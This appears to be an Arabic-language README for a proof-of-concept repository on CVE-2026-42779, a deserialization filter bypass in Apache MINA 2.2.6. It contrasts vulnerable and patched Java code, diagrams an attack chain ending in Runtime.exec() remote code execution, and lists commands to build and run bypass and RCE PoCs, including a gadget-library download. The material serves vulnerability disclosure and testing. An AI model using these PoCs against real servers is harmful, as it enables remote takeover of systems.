// AbstractIoBuffer.java — عرضة للخطر (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    Class<?> clazz = desc.forClass();

    if (clazz == null) {
        // خطأ: لا يوجد فحص acceptMatchers — تم تجاوز المرشح تمامًا
        return Class.forName(name, false, classLoader);
    } else {
        // يتم تطبيق المرشح هنا فقط
        for (ClassNameMatcher matcher : acceptMatchers) { ... }
    }
}

// AbstractIoBuffer.java — مُصلَح (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    String className = desc.getName();

    // يتم تطبيق المرشح أولاً، بغض النظر عن نتيجة forClass()
    if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
        throw new ClassNotFoundException("Class not in accept list " + className);
    }

    Class<?> clazz = desc.forClass();
    // ... يتبع الحل الآمن
}

المهاجم                                    خادم MINA المعرض للخطر
   |                                              |
   |  1. صياغة حمولة MINA بواصفات النوع 0          |
   |     لفئات سلسلة الأدوات                       |
   |                                              |
   |  2. الإرسال إلى نقطة نهاية تستخدم             |
   |     ObjectSerializationCodecFactory -------->|
   |                                              |
   |          3. يقرأ readClassDescriptor() النوع 0|
   |             → يفوض إلى super (Java القياسي)   |
   |                                              |
   |          4. يرى resolveClass() أن forClass()==null
   |             → Class.forName() بدون مرشح       |
   |                                              |
   |          5. يتم إزالة تسلسل سلسلة الأدوات بالكامل
   |             → يطلق readObject() السلسلة       |
   |             → يعمل Runtime.exec()             |
   |                                              |
   |                               تم تحقيق RCE   |

# استنساخ هذا المستودع
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779

# بناء وتشغيل جميع إثباتات المفهوم
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779

# تشغيل إثباتات مفهوم فردية
docker run --rm cve-2026-42779 bypass     # تجاوز المرشح فقط
docker run --rm cve-2026-42779 crafted    # تجاوز الحمولة المصممة
docker run --rm cve-2026-42779 rce        # RCE كامل

# الدخول إلى قشرة للاستكشاف
docker run --rm -it cve-2026-42779 shell

# استنساخ وبناء الإصدار المعرض للخطر
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q

# تنزيل commons-collections (لإثبات مفهوم RCE)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
  -o commons-collections-3.2.2.jar

# ترجمة إثباتات المفهوم
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java

# تشغيل إثبات مفهوم تجاوز المرشح
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC

# تشغيل إثبات مفهوم الحمولة المصممة
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC

# تشغيل إثبات مفهوم RCE الكامل
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
     RcePoC

make run-all    # بناء وتشغيل جميع إثباتات المفهوم الثلاثة
make run-rce    # إثبات مفهوم RCE فقط